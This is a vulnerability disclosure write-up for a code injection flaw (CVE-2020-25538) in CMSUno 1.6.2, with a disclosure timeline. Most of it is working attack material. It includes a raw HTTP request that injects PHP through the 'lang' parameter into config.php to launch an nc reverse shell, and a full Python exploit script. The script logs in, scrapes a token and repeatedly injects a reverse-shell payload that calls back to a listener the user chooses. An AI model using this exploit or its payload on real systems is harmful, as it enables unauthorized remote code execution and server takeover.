Vendor: https://github.com/boiteasite/cmsuno/
Version: 1.6.2
Vulnerability: Code Injection
CVE: CVE-2020-25538
Exploit-DB: https://www.exploit-db.com/exploits/48996
Analysis
When I read the source code of the “/uno/central.php” file I realized the web application operates the language functionality with a file named “config.php”. So application includes this file in some pages. Below the initial content of the config.php file.
If I am able to change the content of the “config.php” file, this file will be imported in the “uno.php” page and I will be able to run PHP code on the server. config.php file will be imported like below in uno.php file.
So good. But how am I able to do changes in “config.php” file. Let’s look at the source code of the “/uno/central.php” file.
You can see above, if some conditions are met, application will insert $_POST[‘lang’] parameter’s value into config.php file. So, if I send the below POST request to that endpoint, I will change the content of the config.php file and my malicious code will be run in uno.php file.
POST Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cmsuno/uno/central.php HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 146
Origin: http://192.168.1.9
Connection: close
Referer: http://192.168.1.9/cmsuno/uno.php
Cookie: PHPSESSID=05hdpbc7jvk4qc2u7mloqdlvpc
action=sauvePass&unox=4b6c39808b374b0fd7a5ab1dd81c07a8&user0=&pass0=&user=&pass=&lang=en";system('nc.traditional 127.0.0.1 9090 -e bin/bash');?>//
After sending this request content of the config.php file like below.
Finally, if I go to the uno.php page, my code will be run and I will get a reverse shell like below.
Exploit
I wrote the PoC for this vulnerability. You can use my PoC code below to test your version is vulnerable or not. Don’t forget the get backup of your config.php file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
from bs4 import BeautifulSoup
import lxml
import json
username = input("username: ")
password = input("password: ")
root_url = input("Root URL: http://192.168.1.9/cmsuno --> ")
listener_ip = input("Your ip: ")
listener_port = input("Your port for reverse shell: ")
login_url = root_url + "/uno.php"
vulnerable_url = root_url + "/uno/central.php"
session = requests.Session()
request = session.get(login_url)
# Get the unox value
soup = BeautifulSoup(request.text,"lxml")
unox = soup.find("input",{'name':'unox'})['value']
# Login
body = {"unox":unox,"user":username,"pass":password}
session.post(login_url, data=body)
# Get the second unox value
request = session.get(login_url)
unox = soup.find("input",{'name':'unox'})['value']
# Exploit
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
"Accept":"*/",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Origin": login_url,
"Connection": "close",
"Referer": login_url
}
payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,listener_port)
while True:
body = 'action=sauvePass&unox={}&user0=&pass0=&user=&pass=&lang={}'.format(unox,payload)
session.post(vulnerable_url, data=(json.dumps(body)).replace("\\","")[1:-1],headers=header)
request = session.get(login_url)
text = request.text
soup = BeautifulSoup(text,"lxml")
script = soup.findAll('script')[1].string
data = script.split("Unox='")[1]
unox = data.split("',")[0]
Disclosure Timeline
12 September 2020 - First Contact
29 September 2020 - Released CMSUno Version 1.6.3
30 September 2020 - Responsible Disclosure